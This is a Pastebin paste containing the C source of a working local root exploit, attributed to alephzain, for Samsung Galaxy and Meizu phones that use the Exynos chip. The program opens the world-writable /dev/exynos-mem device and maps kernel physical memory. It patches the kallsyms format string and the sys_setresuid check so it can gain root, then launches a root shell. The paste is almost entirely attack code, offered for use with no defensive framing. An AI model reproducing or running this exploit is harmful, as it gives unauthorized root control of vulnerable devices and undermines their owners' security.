SHARE
TWEET

Untitled

a guest Dec 17th, 2012 443 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  * exynos-mem device abuse by alephzain
  3.  *
  4.  * /dev/exynos-mem is present on GS3/GS2/GN2/MEIZU MX
  5.  *
  6.  * the device is R/W by all users :
  7.  * crw-rw-rw-  1 system graphics  1, 14 Dec 13 20:24 /dev/exynos-mem
  8.  *
  9.  */
  10.  
  11. /*
  12.  * Abuse it for root shell
  13.  */
  14. #include <stdio.h>
  15. #include <sys/mman.h>
  16. #include <sys/types.h>
  17. #include <sys/stat.h>
  18. #include <fcntl.h>
  19. #include <stdlib.h>
  20. #include <unistd.h>
  21. #include <errno.h>
  22. #include <sys/ioctl.h>
  23. #include <stdbool.h>
  24.  
  25. #define PAGE_OFFSET 0xC0000000
  26. #define PHYS_OFFSET 0x40000000
  27.  
  28. int main(int argc, char **argv, char **env) {
  29.         int fd, i, m, index, result;
  30.  
  31.         unsigned long *paddr = NULL;
  32.     unsigned long *tmp = NULL;
  33.     unsigned long *restore_ptr_fmt = NULL;
  34.     unsigned long *restore_ptr_setresuid = NULL;
  35.     unsigned long addr_sym;
  36.  
  37.         int page_size = sysconf(_SC_PAGE_SIZE);
  38.     int length = page_size * page_size;
  39.  
  40.     /* for root shell */
  41.     char *cmd[2];
  42.     cmd[0] = "/system/bin/sh";
  43.     cmd[1] = NULL;
  44.  
  45.     /* /proc/kallsyms parsing */
  46.     FILE *kallsyms = NULL;
  47.     char line [512];
  48.     char *ptr;
  49.     char *str;
  50.  
  51.     bool found = false;
  52.  
  53.     /* open the door */
  54.         fd = open("/dev/exynos-mem", O_RDWR);
  55.         if (fd == -1) {
  56.                 printf("[!] Error opening /dev/exynos-mem\n");
  57.                 exit(1);
  58.         }
  59.  
  60.     /* kernel reside at the start of physical memory, so take some Mb */
  61.     paddr = (unsigned long *)mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_SHARED, fd, PHYS_OFFSET);
  62.     tmp = paddr;
  63.     if (paddr == MAP_FAILED) {
  64.         printf("[!] Error mmap: %s|%08X\n",strerror(errno), i);
  65.         exit(1);
  66.     }
  67.  
  68.     /*
  69.      * search the format string "%pK %c %s\n" in memory
  70.      * and replace "%pK" by "%p" to force display kernel
  71.      * symbols pointer
  72.      */
  73.     for(m = 0; m < length; m += 4) {
  74.         if(*(unsigned long *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && *(unsigned long *)(tmp+2) == 0x00000a73 ) {
  75.             printf("[*] s_show->seq_printf format string found at: 0x%08X\n", PAGE_OFFSET + m);
  76.             restore_ptr_fmt = tmp;
  77.             *(unsigned long*)tmp = 0x20207025;
  78.             found = true;
  79.             break;
  80.         }
  81.         tmp++;
  82.     }
  83.  
  84.     if (found == false) {
  85.         printf("[!] s_show->seq_printf format string not found\n");
  86.         exit(1);
  87.     }
  88.  
  89.     found = false;
  90.  
  91.     /* kallsyms now display symbols address */      
  92.     kallsyms = fopen("/proc/kallsyms", "r");
  93.     if (kallsyms == NULL) {
  94.         printf("[!] kallsysms error: %s\n", strerror(errno));
  95.         exit(1);
  96.     }
  97.  
  98.     /* parse /proc/kallsyms to find sys_setresuid address */
  99.     while((ptr = fgets(line, 512, kallsyms))) {
  100.         str = strtok(ptr, " ");
  101.         addr_sym = strtoul(str, NULL, 16);
  102.         index = 1;
  103.         while(str) {
  104.             str = strtok(NULL, " ");
  105.             index++;
  106.             if (index == 3) {
  107.                 if (strncmp("sys_setresuid\n", str, 14) == 0) {
  108.                     printf("[*] sys_setresuid found at 0x%08X\n",addr_sym);
  109.                     found = true;
  110.                 }
  111.                 break;
  112.             }
  113.         }
  114.         if (found) {
  115.             tmp = paddr;
  116.             tmp += (addr_sym - PAGE_OFFSET) >> 2;
  117.             for(m = 0; m < 128; m += 4) {
  118.                 if (*(unsigned long *)tmp == 0xe3500000) {
  119.                     printf("[*] patching sys_setresuid at 0x%08X\n",addr_sym+m);
  120.                     restore_ptr_setresuid = tmp;
  121.                     *(unsigned long *)tmp = 0xe3500001;
  122.                     break;
  123.                 }
  124.                 tmp++;
  125.             }
  126.             break;
  127.         }
  128.     }
  129.  
  130.     fclose(kallsyms);
  131.  
  132.     /* to be sure memory is updated */
  133.     usleep(100000);
  134.  
  135.     /* ask for root */
  136.     result = setresuid(0, 0, 0);
  137.  
  138.     /* restore memory */
  139.     *(unsigned long *)restore_ptr_fmt = 0x204b7025;
  140.     *(unsigned long *)restore_ptr_setresuid = 0xe3500000;
  141.     munmap(paddr, length);
  142.     close(fd);
  143.  
  144.     if (result) {
  145.         printf("[!] set user root failed: %s\n", strerror(errno));
  146.         exit(1);
  147.     }
  148.  
  149.     /* execute a root shell */
  150.     execve (cmd[0], cmd, env);
  151.  
  152.         return 0;
  153. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top